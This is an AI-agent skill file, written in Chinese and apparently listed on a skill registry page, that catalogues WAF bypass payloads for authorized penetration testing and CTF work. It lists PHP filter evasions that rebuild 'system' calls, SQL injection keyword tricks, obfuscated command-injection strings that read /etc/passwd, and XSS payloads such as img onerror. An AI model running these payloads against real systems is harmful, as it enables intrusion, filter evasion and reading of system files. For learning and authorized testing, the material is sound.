agentleFS
Wang200935Wang200935/security-agent-skills/skills/web-pentest/waf-bypass-techniques/SKILL.md

waf-bypass-techniques

Skill4 starsChanged 4 months agoMITView on GitHub

WAF 绕过技巧库 — 各类WAF绕过方法。Use when performing authorized penetration testing,

4 other projects use a version of this.

Adopted by

Most recently taken up by

The file

Files
SKILL.md

WAF 绕过技巧库

PHP WAF 绕过

preg_replace 双写绕过(关键技巧)

preg_replace() 会循环替换直到没有匹配为止,但如果关键词被替换后拼出了新的关键词,只会替换内层,外层保留。

核心原理:preg_replace('/NSSCTF/', '', 'NSSNSSCTFCTF') → 删除中间的 NSSCTF → 剩下 NSS + CTF = NSSCTF

通用模板:

假设过滤关键词为 X(如 NSSCTF)
构造输入: X拆成两半, 在中间嵌入完整X
即: X前半 + X + X后半

示例:
过滤 NSSCTF → 输入 NSS + NSSCTF + CTF = NSSNSSCTFCTF
过滤 flag   → 输入 fl + flag + ag = flflagag
过滤 cat    → 输入 ca + cat + t = cacatt
过滤 system → 输入 sys + system + tem = syssystemtem

为什么简单的大小写绕过不适用于 preg_replace:

  • preg_replace('/NSSCTF/', '', 'NssCTF') → Nss 不匹配 NSS(无 i 修饰符)→ 原样输出 NssCTF
  • NssCTF !== "NSSCTF"(严格比较失败)→ 不通过
  • 只有双写绕过才能让替换后恰好得到原始关键词字符串

⚠️ 识别场景:

  • 源码含 preg_replace('/关键词/', '', $input) 且需要 $input 替换后等于关键词本身 → 立即用双写绕过
  • 不要尝试大小写绕过(替换后不等于原关键词)或编码绕过(编码字符串不等于原关键词)

函数名混淆

  • Base64 编码恢复:$f=base64_decode('c3lzdGVt');$f('id');
  • 字符串拼接:$f='sys'.'tem';$f('id');
  • 可变函数:$a='sys';$b='tem';$a$b('id');

关键字绕过

  • 拆分路径:'/va'.'r/ww'.'w/ht'.'ml'
  • 注释绕过:sys/**/tem('id');
  • 反转字符串:$f=strrev('metsys');$f('id');

SQL 注入绕过

关键字绕过

  • 大小写混合:SeLeCt 代替 SELECT
  • 内联注释:S/*!ELECT*/
  • 双重编码:%2565 → %65 → e
  • 等价函数:GROUP_CONCAT 替代 concat_ws

注释符变体

  • -- - 代替 --
  • --+ 代替 --
  • # 代替 --

命令注入绕过

分隔符变体

  • 换行符:id\nwhoami
  • 管道符:id|whoami
  • 逻辑运算:id&&whoami
  • 子 shell:$(id) 或 `id`

命令混淆

  • 变量拼接:a=i;b=d;$a$b
  • 通配符:/bin/ca? /etc/pas?d
  • 空变量:c'a't /etc/passwd
  • 转义:c\at /etc/passwd

XSS 绕过

标签变体

  • <img src=x onerror=alert(1)>
  • <svg onload=alert(1)>
  • <body onload=alert(1)>
  • <input onfocus=alert(1) autofocus>

事件处理器

  • onerror, onload, onclick, onfocus, onmouseover

编码绕过

  • HTML 实体编码
  • Unicode 编码
  • Base64 编码(配合 eval)

Hermes 使用適配

  • 來源為 專案技能,已匯入 Hermes 本地 skill。僅在已授權滲透測試、CTF、內部安全評估或防禦驗證範圍內使用。
  • 原文若提到 fetch,在 Hermes 中優先使用 web_extract、browser 或 terminal(curl/HTTPie) 取得真實回應。
  • 原文若提到 python_execute,在 Hermes 中使用 execute_code 或 terminal(python3 ...);計算、編碼、hash、PoC 驗證必須用工具實測,不靠猜。
  • 原文若提到 MCP/Burp/adb/frida/jadx/chrome_devtools 等外部工具:先確認本機是否安裝或可用;不可用時以 Hermes 現有 web、browser、terminal、file、vision 工具替代,並明確標註限制。
  • 下一次滲透任務中,先載入 -pentest-flow 做總路由,再依場景載入本系列專項 skill(例如 -web-security-advanced、-osint-recon、-rapid-checklist)。

來源與維護

  • 原始 skill 已保存於 references/upstream-skill.md;README/LICENSE 已保存於 references/。

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.